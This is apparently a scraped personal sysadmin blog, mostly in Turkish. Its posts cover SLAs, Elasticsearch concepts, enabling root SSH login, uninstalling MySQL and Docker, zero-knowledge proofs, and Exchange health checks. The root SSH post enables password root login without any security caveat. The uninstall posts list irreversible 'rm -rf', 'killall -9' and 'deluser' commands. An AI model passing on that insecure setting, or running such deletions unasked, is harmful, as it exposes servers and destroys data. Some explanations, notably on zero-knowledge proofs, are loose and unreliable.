SLA: Bu tür SLA, belirli bir işlem veya süreçle ilgili olarak hizmet sağlayıcının taahhütleri hakkında bilgi içerir. Örneğin, bir veri merkezi işletmesi, verilerin yedeklenmesi işleminde belirli bir hizmet düzeyi sağlamalıdır. Proaktif SLA: Bu tür SLA, hizmet sağlayıcının, olası sorunları önlemek ve hizmet kalitesini artırmak için proaktif adımlar atmasını içerir. Örneğin, bir hizmet sağlayıcısı, hizmetin kullanılabilirliğini artırmak için düzenli bakım yapabilir veya güncellemeleri otomatik olarak yükleyebilir. SLA Neden Önemlidir? Bir SLA, her iki taraf için, yani müşteri ve hizmet sağlayıcı için önemlidir. Müşteri Tarafı & Customer Side: Bu noktalar, SLA'nın müşteri tarafındaki önemini göstermektedir. Hizmetin türü ve seviyesi ölçülebilir. Diğer hizmet sağlayıcılarla ölçmek veya karşılaştırmak için hizmet kalitesi ve ölçütler. Ortaya çıkabilecek veya kapsanabilecek Sorunlar ve bunların çözümleme kısmı nelerdir? Müşteri bölümü ve sorumlulukları da SLA'larda belirtilmiştir. Sağlayıcı Tarafı & Provider Side: Sağlayıcıya göre, bir SLA'nın bu noktaları kapsaması gerekir. Müşteri detayları ve hangi hizmet üzerinde anlaştılar? Seviye, hizmet maliyeti ve hizmet anlaşmasının süresi. Hangi konular ele alınır ve yeniden ele alınması için zaman çerçevesi. Bir hizmet sağlayıcı olarak Roller ve Sorumluluklar. Sorumlu olmadıkları kısım. SLA'ya Kimler İhtiyaç Duyar? Her standart Hizmet Sağlayıcı veya Sağlayıcı şirketin, müşteriyle görüşmek için bir Hizmet Seviyesi Sözleşmesine ihtiyacı vardır. Birçok müşteri, farklı satıcılarla karşılaştırmak ve daha iyi hizmetler istemek için SLA 'ya ihtiyaç duyar. Hem müşteri hem de sağlayıcı, kendi sorumluluklarını daha iyi anlamak için bir Hizmet Seviyesi Anlaşmasına ihtiyaç duyar. Metrikler Nasıl Ayarlanır? Burada, Hizmet Düzeyi Sözleşmesinde metriklerin nasıl ayarlanacağını göreceğiz. Buradaki ölçüt, bir hizmet sağlayıcının performansını ölçmek için standartları ifade eder. Bazı temel ölçütler vardır ve sağlanacak hizmete göre ek ölçüler belirlenebilir. Metrikler, bir meslekten olmayan kişinin bile anlayabileceği basit olmalı ve müşteriyi hizmet konusunda yanıltmamalıdır. Hizmeti nasıl ölçeceklerini anlayamazlarsa, her iki tarafta da kafa karışıklığına yol açar. Bir SLA'da Metrikleri Ayarlama bölümünde dikkate alınması gereken temel ölçümler aşağıdadır. Temel Metrikler Kullanılabilirlik / Hizmet Süresi ve Maliyet: Hizmet müşterinin yerinde sağlanabiliyorsa ve ne kadar süreyle sağlanacaktır. Hata Günlüğü: Sunulan hizmetteki arızalar veya hatalarla nasıl başa çıkılır. Kullanılan teknoloji : Teknoloji tabanlı bir hizmet ise hangi teknolojiyi kullandıklarından bahsedilmelidir. Güvenlik ve Diğer Önleyici Önlemler: Müşterinin bilgilerinin ne kadar gizli olacağı ve mevcut önleyici tedbirler nelerdir. Geçmiş İş Sonuçları: Önceki hizmetlerde ne kadar iyi performans gösterdikleri. Bunlar, bir SLA'nın Metriklerini belirlemeden önce dikkate alınması gereken genel noktalardır, çünkü bu ölçümler Hizmeti Doğru Yola yönlendirir ve ekstra maliyetleri ortadan kaldırır. Sonuç olarak SLA: Hizmet Seviyesi Anlaşması, müşteriye hizmetin ve sağlayıcının sorumluluklarının net bir imajını içerdiği için hizmet türünün önemli bir parçasıdır. SLA yoksa, müşteri çok fazlasını bekleyebilir ve sağlanmadıysa ödemeyi reddedebilir; aynı zamanda bir hizmet sağlayıcı bazı hizmetlerin kapsanmadığını reddedebilir. Saygılarımla – Best Regards --- ## ElasticSearch Nedir? Link: https://farukguler.com/posts/elasticsearch/ Elasticsearch, açık kaynaklı bir arama ve analiz motorudur. Verileri hızlı ve gerçek zamanlı olarak aramak, analiz etmek ve depolamak için kullanılır. Elasticsearch, Lucene arama motorunun üzerine inşa edilmiştir ve birçok farklı veri kaynağından veri alabilir, verileri analiz edebilir ve sonuçlarını görselleştirebilir. Elasticsearch, büyük ölçekli verileri işlemek için tasarlanmıştır ve esnek bir arama motorudur. Ayrıca, çoklu düğümler ve kümelerle çalışabilir ve veri yedeklemesi yaparak yüksek kullanılabilirlik sağlar. Elasticsearch, web uygulamaları, log yönetimi, iş zekası, metin madenciliği ve diğer birçok alanda yaygın olarak kullanılmaktadır. Bazı Elasticsearch kütüphaneleri şunlardır. Elasticsearch-PHP: PHP dilinde Elasticsearch ile etkileşim kurmak için kullanılan kütüphane. Elasticsearch-Java: Java dilinde Elasticsearch ile etkileşim kurmak için kullanılan kütüphane. Elasticsearch-Py: Python dilinde Elasticsearch ile etkileşim kurmak için kullanılan kütüphane. Elasticsearch-Ruby: Ruby dilinde Elasticsearch ile etkileşim kurmak için kullanılan kütüphane. Elasticsearch-.NET: .NET Framework ile çalışan uygulamalar için Elasticsearch ile etkileşim kurmak için kullanılan kütüphane. Elasticsearch-Go: Go dilinde Elasticsearch ile etkileşim kurmak için kullanılan kütüphane. Kullanım Amaçları: Elasticsearch, açık kaynaklı bir arama ve analiz motorudur ve çeşitli kullanım amaçları vardır. Bunlar arasında: Arama: Elasticsearch, büyük miktarda veriyi hızlı bir şekilde aramak ve bulmak için kullanılabilir. Özellikle web sitelerinde veya diğer büyük veri depolarında arama işlevselliği sağlamak için kullanılabilir. Veri Analizi: Elasticsearch, veri analizinde kullanılan birçok araç ve yöntemi içerir. Bu sayede büyük miktarda veri üzerinde veri analizi yapmak mümkün olur. Log Yönetimi: Elasticsearch, log dosyalarını toplamak, indekslemek ve sorgulamak için kullanılabilir. Bu sayede büyük sistemlerde oluşan log dosyaları analiz edilebilir ve sorunlar hızlı bir şekilde tespit edilebilir. Metin Madenciliği: Elasticsearch, metin madenciliği uygulamaları için kullanılabilir. Bu sayede, belirli kelimelerin veya terimlerin sıklığını ve yoğunluğunu analiz etmek gibi işlemler yapılabilir. İş Zekası: Elasticsearch, iş zekası uygulamalarında kullanılabilir. Bu sayede büyük veri kümeleri üzerinde raporlama ve analiz işlemleri yapılabilir. Gerçek Zamanlı Uygulamalar: Elasticsearch, gerçek zamanlı uygulamalar için kullanılabilir. Örneğin, akış verisi toplama ve işleme işlemleri yapmak mümkün olabilir. ElasticSearch Avantajları Nelerdir? Açık kaynaklı olması Büyük veri kümelerini hızlı bir şekilde arama ve analiz etme yeteneği Esnek ve ölçeklenebilir mimarisi sayesinde yüksek performans ve kapasite Gerçek zamanlı veri analizi ve raporlama yapabilme imkanı Yapılandırılmış ve yapılandırılmamış verileri birleştirebilme yeteneği Çoklu dil desteği sayesinde farklı dillerdeki verileri kolayca arama ve analiz edebilme imkanı Güçlü arama ve sorgulama özellikleri sayesinde verileri hızlı ve kolay bir şekilde bulabilme Kullanımı kolay ve anlaşılması basit bir arayüze sahip olması Yüksek kullanılabilirlik, yedekleme ve kurtarma özellikleri sayesinde yüksek iş sürekliliği sağlama imkanı Geniş bir topluluk tarafından desteklenmesi sayesinde, kullanıcıların birçok kaynağa kolayca erişebilme imkanı. ElasticSearch' in Kavramları Nelerdir? Index: Elasticsearch'te verilerin depolandığı temel birimdir. Bir index, belirli bir veri türüne sahip belgelerin bir koleksiyonudur ve özellikle büyük veri kümelerinde arama ve analiz yapmak için optimize edilmiştir. Document: Elasticsearch'teki temel veri birimidir. Bir belge, bir JSON nesnesi olarak temsil edilir ve bir index içinde depolanır. Belge içindeki her özellik bir alan olarak adlandırılır. Field: Bir belgedeki özelliklerden her birine alan denir. Alanlar, belge türüne göre farklılık gösterir ve her bir alan, belge içindeki veri tipine göre farklı tiplerde depolanabilir. Mapping: Elasticsearch'teki belge tipleri için veri yapısı tanımlamasına denir. Bir haritalama, bir index içindeki belge türüne göre farklı alanları tanımlar ve her bir alanın veri tipi, analiz edilme şekli ve diğer özellikleri hakkında bilgi sağlar. Query: Elasticsearch'teki verileri aramak için kullanılan bir sorgu dilidir. Query, belirli koşullara göre belgeleri filtrelemek ve sonuçları almak için kullanılır. Aggregation: Elasticsearch'teki verileri analiz etmek için kullanılan bir kavramdır. Bir aggregation, belirli bir index içindeki belgelerin özetini veya toplamını sağlamak için kullanılır. Cluster: Elasticsearch, birden fazla sunucuyu bir araya getirerek bir cluster oluşturur. Cluster, verilerin yüksek kullanılabilirliğini sağlamak ve yüksek performanslı arama ve analiz yapmak için kullanılır. Node: Elasticsearch, bir ya da daha fazla node'dan oluşan bir cluster'dır. Bir node, Elasticsearch işlemlerinin gerçekleştirildiği bir sunucudur. Bir cluster, birden fazla node'ı bir araya getirir. Shards: Elasticsearch, bir index'i birden fazla shard'a bölerek dağıtır. Her shard, bir node üzerinde saklanır ve aramaların ve analizlerin daha hızlı yapılabilmesi için veriler paralel olarak işlenir. Shards, Elasticsearch'in yüksek ölçeklenebilirliğini sağlar. Replica: Bir shard'ın yedeği olarak saklanır ve verilerin yedeklenmesi için kullanılır. Bir index, bir ya da daha fazla replica'ya sahip olabilir ve replica'lar, bir node üzerinde bulunabilir. Inverted Index: Elasticsearch, verileri hızlı bir şekilde aramak için bir inverted index kullanır. Inverted index, her bir term'in hangi belgede bulunduğunu ve hangi alanlarda bulunduğunu tutar. Tokenization: Elasticsearch, bir belgenin içeriğini analiz etmek için bir tokenization süreci kullanır. Tokenization, belgenin metnini parçalara ayırır ve her parçayı bir token olarak adlandırır. Bu tokenlar, inverted index'te saklanır ve aramaların daha hızlı yapılmasını sağlar. Cluster State: Elasticsearch cluster'ın durumunu ve metadata'sını tutar. Bu, cluster'ın sağlığı, hangi node'ların aktif olduğu ve index'lerin shard'ları hakkında bilgi sağlar. Fuzzy Search: Elasticsearch, belirli bir kelimeye benzeyen diğer kelimeleri de arayabilen fuzzy search özelliğine sahiptir. Bu, yazım hataları veya benzer kelimelerin aranmasında kullanışlıdır. Reindexing: Elasticsearch, bir index'teki verileri farklı bir index'e taşımak için reindexing işlemini kullanabilir. Bu, veri kaybını önlemek ve Elasticsearch'teki verilerin yeniden yapılandırılması için kullanışlıdır. Score: Elasticsearch, bir sorguya göre belgeleri döndürürken, her belgenin bir skoru vardır. Bu skor, sorgu ve belgenin eşleşme derecesine göre hesaplanır ve sonuçların sıralanmasında kullanılır. Filter: Elasticsearch sorguları içinde kullanılan bir araçtır. Filtreler, koşullara göre belgeleri seçmek için kullanılır ve sorgu sonuçlarının daha hızlı alınmasını sağlar. Highlighting: Elasticsearch, arama sonuçları içinde aranan terimlerin vurgulanması için bir highlight özelliği sunar. Bu özellik, arama sonuçlarının daha kolay okunmasını sağlar. Snapshot ve Restore: Elasticsearch, bir index'in anlık görüntüsünü alarak yedekleme yapmak için Snapshot ve Restore özelliğini sunar. Bu özellik, veri kaybını önlemenize ve veri kurtarma işlemlerini kolaylaştırmanıza yardımcı olur. Machine Learning: Elasticsearch, makine öğrenimi algoritmaları kullanarak verileri analiz etmek ve öngörü modelleri oluşturmak için Machine Learning özelliğini sunar. Bu özellik, verilerin daha iyi anlaşılmasına ve işlenmesine yardımcı olur. Graph: Elasticsearch, veri kümesindeki ilişkileri analiz etmek ve görselleştirmek için Graph özelliğini sunar. Bu özellik, belgeler arasındaki ilişkileri ve ağ yapılarını daha kolay anlamanıza yardımcı olur. Analyzer: Elasticsearch, belge içeriğinin tokenization ve token filter işlemlerinin yapıldığı bir analiz süreci kullanır. Bir analyzer, belge içeriğinin nasıl tokenize edileceğini ve hangi token filtrelerinin uygulanacağını tanımlar. Relevance Scoring: Elasticsearch, arama sonuçlarını sıralamak için bir relevans puanlama sistemi kullanır. Relevans puanlaması, belgelerin arama sorgusuna ne kadar uygun olduğunu belirlemek için kullanılır. Kibana: Elasticsearch ile birlikte kullanılan bir görselleştirme aracıdır. Kibana, Elasticsearch verilerini görsel olarak analiz etmek, aramak ve keşfetmek için kullanılır. Logstash: Elasticsearch ile birlikte kullanılan bir log işleme aracıdır. Logstash, farklı kaynaklardan gelen verileri işlemek, filtrelemek ve Elasticsearch'e aktarmak için kullanılır. Beats: Elasticsearch ile birlikte kullanılan hafif veri toplama araçlarıdır. Beats, farklı kaynaklardan veri toplamak için kullanılır ve Elasticsearch veya Logstash ile entegre edilebilir. Cross-cluster replication: Elasticsearch, cluster'lar arası veri replikasyonu için bir cross-cluster replication özelliği sunar. Bu özellik, farklı cluster'lar arasında veri kopyalama ve senkronizasyonu için kullanılır. Fielddata: Elasticsearch'teki alanların filtrelenmesi ve sıralanması için Fielddata özelliği kullanılabilir. Fielddata, alanlardaki verilerin ana bellekte depolanmasına izin verir, böylece verilerin daha hızlı filtrelenmesi ve sıralanması mümkün olur. Stemming: Elasticsearch, bir belgenin kök sözcüğünü tespit etmek için bir stemming süreci kullanır. Bu süreç, arama sorgularındaki farklı şekillerde yazılmış kelimelerin aynı kök sözcüğe sahip olduğunu anlamasını sağlar. Stop words: Elasticsearch, belirli kelimelerin arama sorgularında ihmal edilmesi için Stop words özelliği sağlar. Bu özellik, yaygın kelimelerin arama sonuçlarına etkisini azaltarak daha doğru sonuçlar elde etmeyi sağlar. GeoJSON: Elasticsearch, coğrafi verileri depolamak ve sorgulamak için GeoJSON formatını destekler. Bu özellik, coğrafi verilerin daha hızlı ve etkili bir şekilde analiz edilmesini sağlar Watcher: Elasticsearch'te kullanılabilen bir alarm ve izleme aracıdır. Watcher, belirli bir sorgu sonucuna göre otomatik olarak işlem yapmanıza olanak tanır ve örneğin belirli bir hata mesajı oluştuğunda size bildirim gönderebilir. Aggregation Pipeline: Elasticsearch 7.0 sürümünden itibaren kullanıma sunulan bir özelliktir. Aggregation Pipeline, birden fazla aggregation'ı bir araya getirerek daha karmaşık analizler yapmanızı sağlar. Query DSL: Elasticsearch'te kullanılan bir sorgu dilidir ve arama sorgularını daha ayrıntılı olarak belirlemenize olanak tanır. Query DSL, filtreleme, sıralama, vurgulama ve diğer birçok özelliği destekler. Token Filter: Elasticsearch'te kullanılan bir analiz yöntemidir. Token Filter, belgenin metnindeki her bir token'ı düzenler ve normalleştirir. Örneğin, küçük harflere çevirme, stop word'leri kaldırma ve n-gram oluşturma gibi işlemler yapılabilir. Security: Elasticsearch, kullanıcı kimlik doğrulama ve yetkilendirme gibi güvenlik özellikleri sağlayan bir Güvenlik (Security) modülü içerir. Elasticsearch Güvenlik modülü, kullanıcı ve rolleri yönetme, veri şifreleme ve izinsiz erişim önleme gibi işlevleri sağlar. Geo-spatial Search: Elasticsearch, coğrafi verileri aramak ve görselleştirmek için bir Coğrafi (Geo-spatial) arama modülü içerir. Bu modül, coğrafi koordinatları depolamak ve coğrafi sorgular yapmak için kullanılabilir. Rollup: Rollup özelliği, büyük veri kümelerinde aggregation işlemlerinin daha hızlı ve düşük maliyetle yapılmasını sağlar. Rollup, bir index'in özetlerini daha küçük bir index'te saklar ve daha sonra aggregation işlemleri bu küçük index üzerinden gerçekleştirilir. Search-As-You-Type: Elasticsearch, kullanıcının arama terimlerini girdikçe sonuçların anlık olarak gösterildiği bir arama özelliği olan Search-As-You-Type'ı destekler. SQL: Elasticsearch, SQL sorgularını destekleyen bir SQL API'si sunar. Bu özellik, Elasticsearch'teki verileri SQL sorguları ile sorgulamak ve analiz etmek için kullanılabilir. Alerting: Elasticsearch, belirli koşulların karşılandığında otomatik olarak uyarılar göndermek için Alerting özelliği sunar. Bu özellik, kullanıcıların belirli olayları veya durumları izlemelerini ve gerektiğinde müdahale etmelerini sağlar. Suggesters: Elasticsearch'te bir kullanıcının arama sırasında yaptığı yazım hatalarını otomatik olarak düzeltmek için kullanılan bir özelliktir. Suggesters, kullanıcının arama terimini otomatik olarak tamamlar ve doğru sonuçları verir. Bulk API: Elasticsearch'te büyük veri kütlelerini verimli bir şekilde işlemek için kullanılan bir API'dir. Bulk API, belirli bir index'te birden fazla belgeyi bir kerede eklemek, güncellemek veya silmek için kullanılabilir. Scroll API: Elasticsearch'te büyük veri kümeleri üzerinde sayfalama yapmak için kullanılan bir API'dir. Scroll API, tüm sonuçları tek bir istekte almak yerine, sonuçları küçük parçalara bölerek elde etmek için kullanılır. Search Template: Elasticsearch'te bir sorgu şablonu kullanarak dinamik aramalar yapmak için kullanılan bir özelliktir. Search template'ler, bir sorguyu bir şablona dönüştürür ve veri tabanındaki verileri şablona göre işler. Index Lifecycle Management (ILM): Elasticsearch'te verilerin yaşam döngüsünü yönetmek için kullanılan bir özelliktir. ILM, belirli kriterlere göre indexlerin otomatik olarak yönetilmesini sağlar, örneğin indexlerin belirli bir yaşa ulaştığında veya belirli bir boyuta ulaştığında otomatik olarak silinmesini sağlayabilir. Evet, Elasticsearch, büyük veri kümelerinde hızlı ve etkili bir şekilde arama ve analiz yapmak için birçok özellik ve kavram sunar. Elasticsearch, Apache Lucene yazılımının üzerine inşa edilmiştir ve Lucene'nin özelliklerini ve performansını olabildiğince genişletir. Kolay gelsin. - Good luck. --- ## Root kullanıcısına SSH Yetkisi verin Link: https://farukguler.com/posts/root-kullanicisina-ssh-yetkisi-verin-grant-root-user-ssh-privilege/ Sunucuya root kullanıcısı ve şifresi ile bağlanmak için root kullanıcısına bir şifre belirlemek gerekir. sudo passwd root Sonra sunucuya root ile girişe izin verilmelidir. Bunun için sshd_config dosyasını düzenleyeceğiz. sudo nano /etc/ssh/sshd_config "PermitRootLogin" ile başlayan satırı bulup "PermitRootLogin yes" şeklinde değiştireceksiniz. Bu işlemlerden sonra sshd ve ssh servisini yeniden başlatın. sudo service sshd restart sudo service ssh restart Artık sunucunuza direkt "root" kullanıcısı ve şifresi ile SSH bağlantısı üzerinden giriş yapabilirsiniz. Saygılarımla. --- ## Uninstall MYSQL on Ubuntu in the cleanest way! Link: https://farukguler.com/posts/mysqli-uninstall/ If #MySQL is running, you need to stop it using the following command.sudo systemctl stop mysql#You should also stop MySQL related daemonssudo killall -9 mysqlsudo killall -9 mysqld #If you have configured your MySQL, delete all directories and users for complete removal.sudo rm -rf /var/log/mysqlsudo rm -rf /etc/mysqlsudo rm -rf /usr/bin/mysqlsudo rm -rf /var/lib/mysqlsudo deluser -f mysql #MySQL Ubuntu packages start with "mysql-server", remove all these packages.sudo apt-get remove --purge mysql*sudo apt-get purge mysql-server* Run the command below to uninstall #MySQL.sudo apt-get purge mysql* #Run autoremove to remove all dependency packages installed by MySQL.sudo apt-get autoremove #Deleting downloaded packages (from archive-repo)sudo apt-get autoclean #Delete the database config file.sudo apt-get remove dbconfig-mysql --- ## How to uninstall Docker on Linux? Link: https://farukguler.com/posts/how-to-uninstall-docker-on-linux/ Docker, birçok sistem yöneticisi ve geliştirici tarafından kullanılan bir konteyner yazılımıdır. Ancak, bazen kaldırılması gerekebilir :/ Docker'ı Ubuntu üzerinden kaldırmak için şu adımları izleyebilirsiniz: Kaldırmadan önce, hangi sürümü yüklediğinizi kontrol etmeniz gerekirse:docker versionÖncelikle Docker'ı durdurmanız gerekir:sudo systemctl stop dockersudo systemctl status docker#Docker'ı kaldırmak için aşağıdaki komutu kullanın:#sudo apt-get purge docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras#Docker ile ilgili tüm dosyaları silmek için:#sudo rm -rf /var/lib/docker#Docker kullanıcısı ve grubunu silmek için aşağıdaki komutu kullanın:#sudo deluser docker#sudo deluser faruk#sudo delgroup dockerDocker'ın kurulumu sırasında oluşturulan dizinleri ve dosyaları da silmek için:#sudo rm -rf /etc/docker#sudo rm -rf /etc/apparmor.d/docker#sudo rm -rf /var/run/docker.sock#sudo rm -rf /usr/local/bin/docker-compose#sudo rm -rf /var/lib/docker#sudo rm -rf /var/lib/containerdSon olarak, sistemde kalan gereksiz paketlerin temizlenmesi için:#sudo apt-get autoremove#sudo apt-get autopurge --- ## Zero-Knowledge Proof's Nedir? Gelecekte Devrim Yapabilir mi? Link: https://farukguler.com/posts/zero-knowledge-proofs-nedir/ Zero Knowledge Nedir: Zero Knowledge (sıfır bilgi), bir kişinin başka bir kişiye bir şeyi kanıtlamadan önce ona ait bilgileri ifşa etmeden yapabileceği bir matematiksel protokoldür. Bu, özellikle veri gizliliği veya kimlik doğrulama gibi alanlarda kullanılabilir. Sıfır bilgi protokolleri, bir kişinin başka bir kişiye bir şeyi ispatlaması gerektiğinde kullanılır. Ancak bu kanıtı veren kişi, ispatlaması gereken bilgileri açığa vurmadan, sadece doğruluğunu kanıtlamak için gerekli olan bilgileri kullanarak kanıt sunar. Böylece, veri gizliliği korunurken, doğruluğu kanıtlanan bilgiler de güvenilir bir şekilde aktarılabilir. Örneğin, bir kişiye bir şifrenin doğruluğunu kanıtlamak istediğinizi düşünün. Sıfır bilgi protokolleri, şifrenin kendisini ifşa etmeden, sadece şifrenin doğru olduğunu kanıtlamak için gerekli olan bilgileri kullanarak bunu yapmanızı sağlar. Sıfır bilgi protokolleri, kriptografi ve bilgi güvenliği gibi birçok alanda kullanılır ve kişisel verilerin korunması için önemlidir. Zero Knowledge Proof – ZKP Nasıl Çalışır? Zero Knowledge Proof (ZKP) protokolleri, bir kişinin bir bilgiyi doğrulama ihtiyacı olduğunda, bu bilgiyi doğrulama ihtiyacını olan diğer kişiye açıklamadan, sadece bilginin doğru olduğunu ispatlayan bir matematiksel protokoldür. Bir ZKP, genellikle üç adımdan oluşur: Kurulum Aşaması: ZKP protokolü için gerekli olan parametrelerin belirlendiği aşamadır. Bu parametreler, genellikle protokolü kullanacak kişiler tarafından belirlenir ve başka bir kişiye açıklanmaz. İspat Aşaması: İspat eden kişi, diğer kişiye doğrulamak istediği bilgiyi ispatlamadan önce bir dizi işlem gerçekleştirir. Bu işlemler, ZKP protokolünün gizli ve açık anahtarları ile hesaplanır ve sonuçlar belirli bir formatta sunulur. Doğrulama Aşaması: İspat eden kişi, ZKP protokolünün sonuçlarını diğer kişiye sunar ve diğer kişi, protokolün sonuçlarını kullanarak doğrulama işlemini gerçekleştirir. Bu sayede, ispat eden kişi, doğruluğunu kanıtlamak istediği bilgiyi açıklamadan doğruluğunu kanıtlar. ZKP protokolleri, özellikle veri gizliliği, kimlik doğrulama ve güvenli mesajlaşma gibi alanlarda kullanılır. Bu protokoller, gizli bilgilerin korunması ve doğruluğunun kanıtlanması için önemlidir. Temel formda, ZKP üç unsurdan oluşur: Zero Knowledge Proof (ZKP) protokolleri, genellikle üç unsurdan oluşur: Bildirme (statement): Bir kişi, doğruluğunu kanıtlamak istediği bir bilgiyi ifade eder. Bu bilgi, genellikle bir şifre, bir kimlik veya bir diğer gizli bilgi olabilir. Kanıt (proof): Bildirilen bilginin doğru olduğunu ispatlamak için kullanılan matematiksel protokolü ifade eder. Bu kanıt, ZKP protokolünün gizli ve açık anahtarları ile hesaplanır. Doğrulama (verification): Kanıtın doğruluğunu kontrol etmek için kullanılan matematiksel protokolü ifade eder. Bu doğrulama işlemi, diğer kişi tarafından gerçekleştirilir ve doğruluğunun kanıtlanması sonucunda bildirilen bilgi doğru kabul edilir. Bu üç unsurdan oluşan ZKP protokolleri, bilgi gizliliği ve doğruluğunun korunması için önemlidir ve özellikle kriptografi, kimlik doğrulama ve güvenli mesajlaşma gibi alanlarda kullanılır. Zero Knowledge Proofs Türleri: Zero Knowledge Proof (ZKP) protokolleri, birçok farklı alanda kullanılır ve çeşitli türleri vardır. Bazı yaygın ZKP türleri şunlardır: Bilgi Gizliliği Kanıtları (Privacy-Preserving Proofs): Bu tür ZKP, bir kişinin özel bilgilerini ifşa etmeden başka bir kişiye bir şeyi kanıtlamasına olanak tanır. Örneğin, bir kişi kredi puanının belirli bir seviyede olduğunu kanıtlamak istediğinde, kredi puanı değerini ifşa etmeden bunu yapabilir. Kimlik Doğrulama Kanıtları (Identity-Based Proofs): Bu tür ZKP, bir kişinin kimliğini kanıtlamadan, sadece belirli bir kimliğe sahip olduğunu ispatlamasına olanak tanır. Örneğin, bir kişi bir banka hesabının sahibi olduğunu ispatlamak istediğinde, kimliğini ifşa etmeden bunu yapabilir. Bilgi Sahipliği Kanıtları (Ownership Proofs): Bu tür ZKP, bir kişinin belirli bir varlığın sahibi olduğunu ispatlamasına olanak tanır. Örneğin, bir kişi bir bitcoin adresinin sahibi olduğunu ispatlamak istediğinde, bu adresin gizli anahtarını ifşa etmeden bunu yapabilir. Doğru Bilgi Kanıtları (Correctness Proofs): Bu tür ZKP, bir kişinin bir hesaplama işleminin doğruluğunu ispatlamasına olanak tanır. Örneğin, bir kişi bir şifrenin doğru olduğunu ispatlamak istediğinde, şifreyi ifşa etmeden bunu yapabilir. Bu ZKP türleri, bilgi gizliliği, kimlik doğrulama, varlık sahipliği ve hesaplama doğruluğunun kanıtlanması gibi birçok alanda kullanılır. --- ## Exchange Server Health Checking with Powershell Link: https://farukguler.com/posts/exchange-health-check/ Exchange Server HealthChecker.ps1, Microsoft Exchange Server ortamınızın sağlığını izlemenize yardımcı olan bir PowerShell scriptidir. Bu script, Exchange sunucularınızın sağlığını kontrol etmek, performans sorunlarını tanımlamak ve Exchange sunucularınız üzerindeki olası hataları belirlemek için kullanılabilir. Ayrıca, Exchange sunucularının zorunlu olarak gereksinim duyduğu tüm güvenlik güncelleştirme yamalarının (CVE-202x.xxx) sisteminizde yüklü olup olmadığını da kontrol etmenize olanak tanır. Exchange Server HealthChecker.ps1, PowerShell 2.0 veya daha yeni bir sürümü gerektirir ve Exchange Server 2007, 2010, 2013, 2016 ve 2019 ile uyumludur. Bu script, Exchange sunucularının çeşitli bileşenlerinin durumunu kontrol ederek, performans sorunlarını tanımlayarak ve hataları belirleyerek, Exchange ortamınızın daha sağlıklı ve daha performanslı çalışmasına yardımcı olur. Exchange Server Sağlık denetimi yapan "PowerShell" betiği hakkında: Exchange Server 2013/2016/2019'u destekler Tüm düzeltmeler/özellikler ile tutulan bir değişiklik günlüğü Microsoft Mühendisleri tarafından oluşturulur ve korunur Her zaman güncel iyileştirmeler yaparlar. Öneri ve tavsiyelere açıktır. (extoolsfeedback@microsoft.com) %100 PowerShell'dir Betik yalnızca Exchange 2013/2016/2019 için geçerlidir. Betik, Exchange 2010/2007'de kısıtlı çalışacaktır, çıktıları ise daha sınırlıdır. Devamlı güncel tutulan Betiği indirmek/download için: >>> https://github.com/microsoft/CSS-Exchange/releases/latest/download/HealthChecker.ps1 >>> https://github.com/faruk-guler/Microsoft-Exchange-Server ***Güvenlik gerekçesiyle Microsoft'un geçerli sayfaları harici bir yerden Script temin etmeyiniz !!! Öncelikle HealthChecker.ps1 PowerShell betiğini Exchange Server C:\script klasörüne atın. Bu isimde klasörünüz yoksa, bir tane oluşturalım. Exchange Server'da Exchange Management Shell'i yönetici olarak çalıştırın. Dizin yolunu C:\script olarak değiştirin . HealthChecker.ps1 içinde Exchange Sunucusunu belirtin. Exchange Sunucusunu tanımlamazsanız, yerel ana bilgisayarı (şu anda üzerinde bulunduğunuz sunucuyu) baz alacaktır.  Scripti çalıştırdığınız zaman, scriptin bulunduğu konumda 2 adet dosya oluşur. file.txt: PowerShell penceresinde bulunan çıktısı file.txt olarak klasör içerisinde oluşur. file.xml: Raporu daha detaylı incelemek için bir file.xml olarak oluşturur. Eğer gerekliyse PowerShell ISE'de Exchange Komutlarını çalıştırmak için, "Exchange Yönetimi ek bileşeni"ni yükleyin: Exchange yönetimi ek bileşeni Exchange 2010 PS: C:\> Add-PSsnapin Microsoft.Exchange.Management.PowerShell.E2010 Exchange yönetimi ek bileşeni Exchange 2013/2016/2019 PS: C:\> Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn Exchange sağlık raporu oluştur: PS: C:\script\HealthChecker.ps1 -BuildHtmlServersReport -HtmlReportFile "C:\script\Exc-2019Report.htm" Output File - Muhtemel Rapor Dosyaları: Output file written to: .\HealthChecker-EXC1-3551547545.txt Exported Data Object Written to: .\HealthChecker-EXC1-25236.xml Exported file path to: C:\script\Exc-2019Report.htm Tüm Exchange Sunucuları için sağlık raporu oluşturun: PS: C:\scripts>Get-ExchangeServer | ?{$_.AdminDisplayVersion -Match "^Version 15"} | %{.\HealthChecker.ps1 -Server $_.Name}; .\HealthChecker.ps1 -BuildHtmlServersReport; .\Exc-AllServers-Report.htm Her şey yeşil görünüyorsa, hiçbir sorununuz yok demektir. Sarı ise, gözden geçirmeniz gerekebilir. Eğer Exchange sağlık raporunda "kırmızı öğeler" görüyorsanız bu müdahale etmeniz gerektiği anlamına gelir. Saygılarımla. - Best regards. --- ## EFS (Şifreleme Dosya Sistemi) Nedir? Link: https://farukguler.com/posts/efs-encrypted-file-system/ EFS, Windows işletim sistemleri tarafından kullanılan bir dosya şifreleme sistemidir. EFS, kullanıcıların özel verilerini ve dosyalarını şifrelemelerine, korumalarına ve gizli tutmalarına olanak tanır. EFS, NTFS dosya sistemine entegre edilmiştir ve şifreleme anahtarları kullanarak dosyaları şifreler. Kullanıcılar, EFS kullanarak dosyaları şifreleyebilir ve yalnızca kendilerinin dosyalara erişebilmesini sağlayabilirler. Diğer kullanıcılar, dosyaları açamaz veya okuyamaz. EFS, kullanıcıların dosyalarını şifrelemelerine izin verirken, dosyaların diğer kullanıcılar tarafından açılmasını zorlaştırır. Ancak, EFS, kullanıcıların dosyalarını yedekleme yaparken kaybetmelerine veya kullanıcı hesaplarını kaybettiklerinde dosyalara erişememelerine neden olabilir. EFS, verilerinizi şifrelerken, Windows işletim sistemi tarafından kullanılan bir sertifika hizmeti kullanır. Bu sertifika hizmeti, kullanıcıların kimliklerini doğrular ve şifreleme anahtarlarına erişimlerini sağlar. EFS, kullanıcıların dosyalarını şifrelerken, kullanıcının profilinde saklanan bir özel anahtar kullanır. Bu özel anahtar, dosyaların şifreleme anahtarlarını şifreler ve çözme işlemi sırasında kullanılır. EFS, Windows işletim sisteminin bir parçasıdır ve kullanıcılara dosyalarını güvenli bir şekilde saklama ve paylaşma olanağı sağlar. Ancak, 